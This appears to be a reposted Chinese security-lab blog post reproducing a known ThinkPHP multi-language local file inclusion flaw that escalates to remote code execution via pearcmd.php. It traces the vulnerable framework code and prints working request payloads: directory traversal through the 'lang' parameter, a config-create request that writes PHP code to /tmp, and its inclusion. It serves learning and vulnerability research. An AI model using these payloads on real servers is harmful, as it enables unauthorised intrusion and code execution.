『代码审计』迟来的 ThinkPHP 多语言模块本地文件包含 RCE 漏洞复现

admin 2023年6月29日19:52:19评论43 views字数 4949阅读16分29秒阅读模式

点击蓝字

关注我们


日期:2023-06-28
作者:Obsidian
介绍:ThinkPHP 多语言模块本地文件包含 RCE 漏洞复现分析,学习为主。

0x01 写在前面

ThinkPHP在开启多语言功能的情况下存在文件包含漏洞,攻击者可以包含任意php文件,但如果服务器环境安装了pear扩展,并且开启了register_argc_argv,攻击者可通过文件包含pearcmd.php文件实现RCE

该漏洞公开于202212月,本次复现将跟随大佬的脚步,逐步学习该漏洞的思路。

『代码审计』迟来的 ThinkPHP 多语言模块本地文件包含 RCE 漏洞复现

漏洞影响版本:

6.0.1 < ThinkPHP≤ 6.0.135.0.0 < ThinkPHP≤ 5.0.125.1.0 < ThinkPHP≤ 5.1.8

漏洞环境搭建

docker pull vulfocus/thinkphp:6.0.12docker run -itd -p80:80 vulfocus/thinkphp:6.0.12

漏洞利用条件:

修改配置文件,开启多语言功能。(漏洞环境已自动开启)

/var/www/html/app/middleware.php

『代码审计』迟来的 ThinkPHP 多语言模块本地文件包含 RCE 漏洞复现

0x02 写在中间

根据多语言加载功能的代码,直接定位到文件/vendor/topthink/framework/src/think/middleware/LoadLangPack.php

为方便阅读,本文中的代码均经过了人工简化,并非原始代码。

namespace thinkmiddleware;class LoadLangPack{    public function __construct(App $app, Lang $lang, Config $config){        $this->config = $lang->getConfig();    }
public function handle($request, Closure $next){ $langset = $this->detect($request); if ($this->lang->defaultLangSet() != $langset) { $this->lang->switchLangSet($langset); } }
protected function detect(Request $request): string{ $langSet = ''; if ($request->get($this->config['detect_var'])) { $langSet = strtolower($request->get($this->config['detect_var'])); } elseif ($request->header($this->config['header_var'])) { $langSet = strtolower($request->header($this->config['header_var'])); } elseif ($request->cookie($this->config['cookie_var'])) { $langSet = strtolower($request->cookie($this->config['cookie_var'])); } elseif ($request->server('HTTP_ACCEPT_LANGUAGE')) { //xxx } if (empty($this->config['allow_lang_list'])) { $range = $langSet; } return $range; }}

ThinkPHP规定,中间件(middleware)的入口执行方法必须是handle()方法,而且第一个参数是Request对象,第二个参数是一个闭包。

这也就意味着,handle()方法会在中间件启用后,自动被调用。

handle()方法第一行,触发了detect()方法。

定位到文件/vendor/topthink/framework/src/think/Lang.php

namespace think;class Lang{    protected $config = [        'default_lang'    => 'zh-cn',        'allow_lang_list' => [],        'cookie_var'      => 'think_lang',        'header_var'      => 'think-lang',        'detect_var'      => 'lang',    ];    public function getConfig(): array{        return $this->config;    }}

结合$config变量中的数据,可知,detect()方法按照优先级依次判断了GET["lang"]HEADER["think-lang"]COOKIE["think_lang"]以及HEADER["Accept-Language"]的值,如果存在那么就赋值给$langSet变量。

之后进行判断,但由于allow_lang_list默认为空,会直接触发if条件下的代码,进行了赋值操作,并返回结果。

回到handle()方法,继续进行if判断,跟进defaultLangSet()方法,其返回值为zh-cn,如果我们传入的值与其不相等,则会触发switchLangSet()方法。

class Lang{    public function defaultLangSet(){        return $this->config['default_lang'];    }    public function switchLangSet(string $langset){        $this->load([            $this->app->getThinkPath() . 'lang' . DIRECTORY_SEPARATOR . $langset . '.php',        ]);    }}

这里会继续调用load()方法和getThinkPath()方法。

class Lang{    public function load($file, $range = ''): array{        foreach ((array) $file as $name) {            if (is_file($name)) {                $result = $this->parse($name);            }        }    }    protected function parse(string $file): array{        $type = pathinfo($file, PATHINFO_EXTENSION);        switch ($type) {            case 'php':                $result = include $file;                break;        }    }}

getThinkPath()方法的返回值是App.php的当前目录,也就是/var/www/html/vendor/topthink/framework/src/

class App{    public function __construct(string $rootPath = ''){        $this->thinkPath   = realpath(dirname(__DIR__)) . DIRECTORY_SEPARATOR;    }    public function getThinkPath(): string{        return $this->thinkPath;    }

在与后面内容拼接之后,则变成了:

load([ '/var/www/html/vendor/topthink/framework/src/lang/xxx.php',]);

load()方法会将数组中的元素依次传递给parse()方法,而parse()方法在判断文件类型之后,进行了include操作。

至此,完整的文件包含流程就打通了:

LoadLangPack->handle()-> LoadLangPack->detect(GET["lang"])   -> lang->switchLangSet(GET["lang"])      -> land->load(load([ '/var/www/html/vendor/topthink/framework/src/lang/'.GET["lang"].'.php',]))         -> lang->parse('/var/www/html/vendor/topthink/framework/src/lang/'.GET["lang"].'.php')            -> include('/var/www/html/vendor/topthink/framework/src/lang/'.GET["lang"].'.php')

可以通过包含index.php来进行测试,payload/public/index.php?lang=../../../../../public/index

结果是服务器500错误。

『代码审计』迟来的 ThinkPHP 多语言模块本地文件包含 RCE 漏洞复现

在实现了文件包含之后,如果条件允许,则可以进行RCE

『代码审计』迟来的 ThinkPHP 多语言模块本地文件包含 RCE 漏洞复现

PEARPHP扩展与应用库(the PHP Extension and Application Repository)的缩写。它是一个PHP扩展及应用的一个代码仓库,简单地说,类似于composer,用于代码的下载与管理,默认安装路径是/usr/local/lib/php

它自身提供了多种使用方法,例如config-create是创建配置文件,也就是写入文件。

『代码审计』迟来的 ThinkPHP 多语言模块本地文件包含 RCE 漏洞复现

config-create命令需要两个参数,第一个是<root path>,第二个是<filename>,都需要以/开头。

例如:php pearcmd.php config-create /123 /tmp/2.php

『代码审计』迟来的 ThinkPHP 多语言模块本地文件包含 RCE 漏洞复现

『代码审计』迟来的 ThinkPHP 多语言模块本地文件包含 RCE 漏洞复现

但以上都是命令行操作,想要通过web方式来进行传参,则需要register_argc_argv=on

register_argc_argv开启后,可通过web方式对命令行进行传参,这时参数之间并不是以&分割,而是+

例如:

// vim 1.php<?phpinclude "/usr/local/lib/php/pearcmd.php";?>
『代码审计』迟来的 ThinkPHP 多语言模块本地文件包含 RCE 漏洞复现

在上述场景下,本来pearcmd.php自身并没有接收$_GET[]数组的参数,但由于开启了register_argc_argv,相当于web传参变成了命令行传参,加号变成了空格:

pearcmd.php config-create /123 /tmp/1.php

那么结合文件包含漏洞和pearcmd.php的特性,组合利用之后可进行RCE

payload

/public/index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?=phpinfo()?>+/tmp/1.php

『代码审计』迟来的 ThinkPHP 多语言模块本地文件包含 RCE 漏洞复现

/public/index.php?lang=../../../../../../../../tmp/1

『代码审计』迟来的 ThinkPHP 多语言模块本地文件包含 RCE 漏洞复现

这时发现,传入的PHP代码,并没有解析,这是因为在浏览器传参的时候,会自动进行URL编码。

『代码审计』迟来的 ThinkPHP 多语言模块本地文件包含 RCE 漏洞复现

而命令行参数并不会自动解码,所以需要将编码的字符进行解码后发送:

『代码审计』迟来的 ThinkPHP 多语言模块本地文件包含 RCE 漏洞复现

『代码审计』迟来的 ThinkPHP 多语言模块本地文件包含 RCE 漏洞复现

这样,就可以正常解析PHP代码,进行RCE了。

0x03 写在后面

总体来看,虽然漏洞本身利用条件略微苛刻,但各个trick的组合利用实在是秀地飞起。

我啥时候才能这么强啊。

『代码审计』迟来的 ThinkPHP 多语言模块本地文件包含 RCE 漏洞复现

Reference

https://tttang.com/archive/1865/

https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp

https://www.cnpanda.net/sec/787.html

免责声明:本文仅供安全研究与讨论之用,严禁用于非法用途,违者后果自负。


点此亲启

ABOUT US

宸极实验室隶属山东九州信泰信息科技股份有限公司,致力于网络安全对抗技术研究,是山东省发改委认定的“网络安全对抗关键技术山东省工程实验室”。团队成员专注于 Web 安全、移动安全、红蓝对抗等领域,善于利用黑客视角发现和解决网络安全问题。

团队自成立以来,圆满完成了多次国家级、省部级重要网络安全保障和攻防演习活动,并积极参加各类网络安全竞赛,屡获殊荣。

对信息安全感兴趣的小伙伴欢迎加入宸极实验室,关注公众号,回复『招聘』,获取联系方式。

『代码审计』迟来的 ThinkPHP 多语言模块本地文件包含 RCE 漏洞复现

原文始发于微信公众号(宸极实验室):『代码审计』迟来的 ThinkPHP 多语言模块本地文件包含 RCE 漏洞复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年6月29日19:52:19
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   『代码审计』迟来的 ThinkPHP 多语言模块本地文件包含 RCE 漏洞复现https://cn-sec.com/archives/1843888.html

发表评论

匿名网友 填写信息